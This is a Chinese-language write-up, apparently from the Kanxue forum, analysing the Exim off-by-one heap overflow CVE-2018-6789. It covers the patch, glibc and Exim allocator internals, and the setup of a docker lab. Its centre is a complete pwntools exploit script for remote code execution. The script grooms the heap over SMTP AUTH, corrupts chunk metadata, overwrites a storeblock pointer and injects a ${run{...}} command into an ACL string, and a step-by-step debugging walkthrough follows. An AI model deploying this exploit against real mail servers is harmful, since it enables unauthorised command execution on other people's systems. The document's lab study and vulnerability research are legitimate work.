CVE-2018-6789 Exim Off-by-one漏洞分析
看到网上有关于这个漏洞的EXP和文章了,这两天仔细调试分析之后觉得这个漏洞还是很有趣的,分享一下。
漏洞原理
来看一下github上的补丁[5]。
exim分配3*(len/4)+1个字节来存储解码后的数据。如果解码前的数据有4n+3个字节,exim会分配3n+1个字节但是实际解码后的数据有3n+2个字节,这就在堆上造成了一字节的溢出(off-by-one)。
基础知识
exim有一套自己的内存管理系统。
exim中的store_free()和store_malloc()直接调用glibc中的malloc()和free()。glibc会在开头使用0x10字节(x86-64)存储一些信息,并且返回紧随其后的数据区的地址。
开头的0x10字节包括前一个chunk的大小、当前chunk的大小和一些标志等信息。size的前三位用于存储标志。上图0x81的意思是当前chunk的大小是0x80字节,并且前一个chunk在使用中。
在exim中使用的大部分已释放的chunk被放入一个称为unsorted bin的双向链表。glibc根据标志维护它,并将相邻的已释放chunk合并到一个更大的块中以避免碎片化。对于每个分配请求,glibc都会以先进先出的顺序检查这些chunk并重新使用。
由于性能上的考虑,exim使用store_get(),store_release(),store_extend()和store_reset()维护自己的链表结构。
storeblock的主要特点是每个block至少有0x2000个字节并且storeblock也是chunk中的数据。在内存中如下图所示。
下面是与堆分配有关的函数。
1. EHLO hostname:exim 调用store_free()释放旧的hostname,调用store_malloc()存储新的hostname。
/* Discard any previous helo name */
if (sender_helo_name != NULL)
{
store_free(sender_helo_name);
sender_helo_name = NULL;
}
if (yield) sender_helo_name = string_copy_malloc(start);
return yield;
2. unknown command:exim调用store_get()分配一个缓冲区将具有不可打印字符的无法识别的命令转换为可打印字符。
const uschar *
string_printing2(const uschar *s, BOOL allow_tab)
{
int nonprintcount = 0;
int length = 0;
const uschar *t = s;
uschar *ss, *tt;
while (*t != 0)
{
int c = *t++;
if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
length++;
}
if (nonprintcount == 0) return s;
/* Get a new block of store guaranteed big enough to hold the
expanded string. */
ss = store_get(length + nonprintcount * 3 + 1);
3. EHLO/HELO,MAIL,RCPT中的reset:当命令正确完成时exim调用smtp_reset(),释放上一个命令之后所有由store_get()分配的storeblock。
int
smtp_setup_msg(void)
{
int done = 0;
BOOL toomany = FALSE;
BOOL discarded = FALSE;
BOOL last_was_rej_mail = FALSE;
BOOL last_was_rcpt = FALSE;
void *reset_point = store_get(0);
DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");
/* Reset for start of new message. We allow one RSET not to be counted as a
nonmail command, for those MTAs that insist on sending it between every
message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
TLS between messages (an Exim client may do this if it has messages queued up
for the host). Note: we do NOT reset AUTH at this point. */
smtp_reset(reset_point);
4.AUTH:在大多数身份验证过程中,exim使用base64编码与客户端进行通信。编码的和解码的字符串存储在一个store_get()分配的缓冲区中。
环境搭建
github上已经有现成的docker环境和EXP了[3],为了省事就直接用这个环境在docker里面调试。
sudo docker run --cap-add=SYS_PTRACE -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789
--cap-add=SYS_PTRACE 命令是因为docker的安全设置问题,为了能够在docker 内使用gdb调试,否则会提示 ptrace:Operation not permitted。
接下来 sudo docker ps 看一下 CONTAINER ID,sudo docker exec -i -t xxxxxx /bin/bash(xxxxxx是CONTAINER ID) 进入 docker,apt-get update 之后apt-get install gdb再安装gdb插件GEF。
接下来需要修改原来的EXP。
为了调试方便去掉多线程爆破绕过ASLR的部分,假定已经知道了acl_smtp_mail的地址(之后再详细解释),将IP硬编码为127.0.0.1,在每一个步骤结束之后都添加raw_input使得程序停下方便我们在gdb中观察等等。总之修改后的EXP如下。
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import time
from base64 import b64encode
from threading import Thread
def ehlo(tube, who):
time.sleep(0.2)
tube.sendline("ehlo "+who)
tube.recv()
def docmd(tube, command):
time.sleep(0.2)
tube.sendline(command)
tube.recv()
def auth(tube, command):
time.sleep(0.2)
tube.sendline("AUTH CRAM-MD5")
tube.recv()
time.sleep(0.2)
tube.sendline(command)
tube.recv()
def execute_command():
global ip
ip = "127.0.0.1"
command="/usr/bin/touch /tmp/success"
context.log_level='warning'
s = remote(ip, 25)
# 1. put a huge chunk into unsorted bin
log.info("send ehlo")
ehlo(s, "a"*0x1000) # 0x2020
raw_input("after 0x1000")
ehlo(s, "a"*0x20)
raw_input("after 0x20")
# 2. cut the first storeblock by unknown command
log.info("send unknown command")
docmd(s, "\xee"*0x700)
raw_input("after 0x700")
# 3. cut the second storeblock and release the first one
log.info("send ehlo again to cut storeblock")
ehlo(s, "c"*0x2c00)
raw_input("after 0x2c00")
# 4. send base64 data and trigger off-by-one
log.info("overwrite one byte of next chunk")
docmd(s, "AUTH CRAM-MD5")
payload1 = "d"*(0x2020+0x30-0x18-1)
docmd(s, b64encode(payload1)+"EfE")
raw_input("after payload1")
# 5. forge chunk size
log.info("forge chunk size")
docmd(s, "AUTH CRAM-MD5")
payload2 = 'm'*0x70+p64(0x1f41)
docmd(s, b64encode(payload2))
raw_input("after payload2")
# 6. release extended chunk
log.info("resend ehlo")
ehlo(s, "skysider+")
raw_input("after release extended chunk")
# 7. overwrite next pointer of overlapped storeblock
log.info("overwrite next pointer of overlapped storeblock")
docmd(s, "AUTH CRAM-MD5")
try_addr = 0xf59
payload3 = 'a'*0x2bf0 + p64(0x0) + p64(0x2021) + p8(0x80)+p64(try_addr*0x10+4)
try:
docmd(s, b64encode(payload3))
raw_input("after payload3")
# 8. reset storeblocks and retrive the ACL storeblock
log.info("reset storeblock")
ehlo(s, "crashed")
raw_input("after realease storeblock")
# 9. overwrite acl strings
log.info("overwrite acl strings")
payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
auth(s, b64encode(payload4)+'ee')
raw_input("after payload4")
payload5 = "a"*0x78 + "${run{" + command + "}}\x00"
auth(s, b64encode(payload5)+"ee")
raw_input("after payload5")
# 10. trigger acl check
log.info("trigger acl check and execute command")
s.sendline("MAIL FROM: <test@163.com>")
s.close()
return 1
except:
s.close()
return 0
if __name__ == '__main__':
execute_command()
调试过程
1. ehlo 0x1000个字节
2.ehlo 0x20个字节,上一次的0x1000个字节被释放
3.发送unknown command,分配一个新的storeblock
4. ehlo 0x2c00 个字节,回收 unknown command 分配的内存,由于之前的sender_host_name 占用的内存已经释放,所以会空出 0x30+0x2020=0×2050 个字节
5. AUTH,触发Off-by-one,改掉chunk大小
从2c10改成2cf1之后下一个chunk应该从 0xf7a0e0+0x2cf0=0xf7cdd0 开始,但是这里现在是没有数据的,所以下一步需要在这里伪造数据。
6.AUTH,伪造chunk头
7. 释放这个被改掉大小的chunk
8. AUTH,改掉 storeblock 的 next 指针,令其指向acl字符串所在的storeblock
这里就要多解释一下了,一组全局指针指向ACL字符串,如下所示。
uschar *acl_smtp_auth;
uschar *acl_smtp_data;
uschar *acl_smtp_etrn;
uschar *acl_smtp_expn;
uschar *acl_smtp_helo;
uschar *acl_smtp_mail;
uschar *acl_smtp_quit;
uschar *acl_smtp_rcpt;
这些指针在exim进程开始时初始化,根据配置进行设置。例如,如果配置中有 acl_smtp_mail=acl_check_mail 这一行,指针acl_smtp_mail指向字符串acl_check_mail。
无论何时使用MAIL FROM,exim都会执行ACL检查,尝试在遇到 ${run{cmd}} 时执行命令。因此只要控制ACL字符串,就可以实现代码执行。
因为不需要直接劫持程序控制流程,因此可以轻松地绕过诸如PIE、NX等缓解措施。在docker环境的配置文件中包含了 acl_smtp_mail=acl_check_mail 和 acl_smtp_data=acl_check_data,因此这种方法是可行的。
x/18gx &acl_smtp_mail可以得到0xf59508这个地址,在EXP中硬编码了try_addr=0xf59,所以经过计算将next指针覆盖为0xf59480。在docker环境中也只是需要爆破这12位。
9. 释放storeblock之后包含acl的storeblock被回收到unsorted bin中
10. AUTH,payload4用来占位,和上图相比unsorted bin中少了两个chunk,下一步就可以覆盖0xf59480这个chunk
11.AUTH,payload5用来覆盖acl字符串
12.万事俱备,触发acl检查,代码执行,touch命令创建了/tmp/success文件
虽然漏洞发现者声称可以绕过ASLR,但并没有公开EXP。在实际环境中还受到exim配置和版本等影响,完全通用较为困难。
参考资料
1. Exim Off-by-one(CVE-2018-6789)漏洞复现分析
2. Exim Off-by-one RCE漏洞(CVE-2018-6789)利用分析(附EXP)
3. https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
4. Exim Off-by-one RCE: Exploiting CVE-2018-6789 with Fully Mitigations Bypassing
5. https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1
本文由看雪论坛 houjingyi 原创
转载请注明来自看雪社区
往期热门阅读:
点击阅读原文/read,
更多干货等着你~
扫描二维码关注我们,更多干货等你来拿!